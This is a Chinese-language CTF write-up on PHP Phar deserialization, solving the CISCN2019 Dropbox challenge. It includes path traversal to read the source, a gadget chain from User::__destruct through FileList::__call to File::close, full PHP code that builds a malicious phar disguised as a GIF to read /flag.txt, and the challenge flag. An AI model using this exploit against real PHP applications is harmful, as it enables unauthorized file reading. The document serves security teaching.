一、前言

php反序列化是一个在ctf web题目中常考的一种类型,有简单的有难的。简单的就是去年电协杯的反序列化数组,难的也有,类型很多,像php字符串逃逸啦、php反序列化写rce啦等等,这里我们要讨论的是另一种反序列化的方式——Phar反序列化

二、预备知识

  1. Phar相关基础

Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面,配合phar://协议使用

Phar文件结构:

  1. a stub是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>
  2. manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点。
  3. contents是被压缩的内容。
  4. signature签名,放在文件末尾。

生成phar文件的基本框架如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
class test{
public $name='phpinfo();';
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj=new test();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

生成的phar文件,打开该文件可以看到文件头是<?php __halt_compiler(); ?>以及中间的部分内容是序列化的形式存在于这个文件中。

img

该方法在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

测试后受影响的函数如下:

img

因此,当我们发现并没有unserialize(),但是有文件包含相关函数时,就可以考虑phar反序列化

三、题目示例

以**[CISCN2019 华北赛区 Day1 Web1]Dropbox**为例

第一,这不是sql注入,不用在login.php上浪费时间,注册一个账号即可。登录之后你会发现一个上传页面

img

经过简单测试,发现,它只能上传他图片,且大小有限。

img

由于现在只有opt这一个功能点,先拿它们下手。那,抓个下载的包吧

img

发现POST传的filename,在经验的驱使下,我们可以尝试目录遍历,首先遍历index.php

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>

...//省略的是前端代码,没啥用处。

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

这段代码的重点在第三段:

  1. include “class.php”;

引入一个外部 PHP 文件 class.php,里面应该定义了 FileList 类。

  1. $a = new FileList($_SESSION[‘sandbox’]);

创建一个 FileList 类的对象,并把 session 中的 sandbox 目录传入。

这里 $_SESSION[‘sandbox’] 很可能是用户的隔离目录(CTF 中常见沙箱路径)。

  1. $a->Name();

调用 FileList 对象的 Name 方法。根据命名推测,此方法应该输出或返回目录下的文件名列表。

  1. $a->Size();

调用 FileList 对象的 Size 方法,推测是输出或返回对应文件的大小。

由于这段代码中引用的是class.php,所以我们也可以遍历class.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

首先,很显然的是你根据这两段代码,你会发现FileList 类的对象根本没有Name 方法和Size 方法。根据__call()的特性,调用对象中不存在的方法时会自动触发。在这个魔术方法中,他做了以下三件事:

一、把用户调用的名字加入 funcs 列表(用于记录调用历史)。

二、遍历管理的所有文件对象。

三、对每个文件执行同样的函数调用,并记录结果到 results 数组中。

同时,因为FileList::__construct($path),在new一个对象时触发。而在该构造函数中,有一个foreach:

1
2
3
4
5
6
7
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

在这里我们知道,他对变量file实例化File类,之后在触发__call()时,就会遍历File类的所有方法,进行匹配(不区分大小写)。

为什么我要提前讲这些?我们来看代码的最后一部分

1
2
3
public function close() {
return file_get_contents($this->filename);
}

在close()函数中,我们发现了可以利用的file_get_contents,于是我们从他下手,倒着推

  1. 上文我们就提到了__call()会遍历File类的所有方法。所以我们要想办法做到:
1
FileList::__call()->File::close()
  1. 如何触发__call()方法呢?我们看到class User的析构函数调用了close()方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

...//这些没用

public function __destruct() {
$this->db->close();
}
}

User->db=new FileList()时,程序结束调用__destruct(),即调用FileList()的call方法。于是就有

1
User->db=new FileList()->close=>FileList::__call(close)->File::close()

到这里,利用链就非常完整了

于是可以有exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class User {
public $db;
}

class FileList {
private $files = array();
public function __construct() {
$file = new File();
array_push($this->files,$file);
}
}

class File {
public $filename = '/flag.txt';
}

$phar=new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt','test'); //添加要压缩的文件
$obj= new User();
$obj->db=new FileList();
$phar->setMetadata($obj); //将自定义的metadata存入manifest
$phar->stopBuffering();

?>

img

这是phar文件的内部构造。

那么,我们该想办法让phar文件发挥作用辣

返回网盘,发现有删除功能,抓包

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

发现可以读文件,且没有限制。所以我们从删除下手。绕过上传限制很简单,改后缀名就行了。然后用phar伪协议就可以拿到flag。

img

flag:flag{c41a549f-89da-4cc0-a482-8d574f90370e}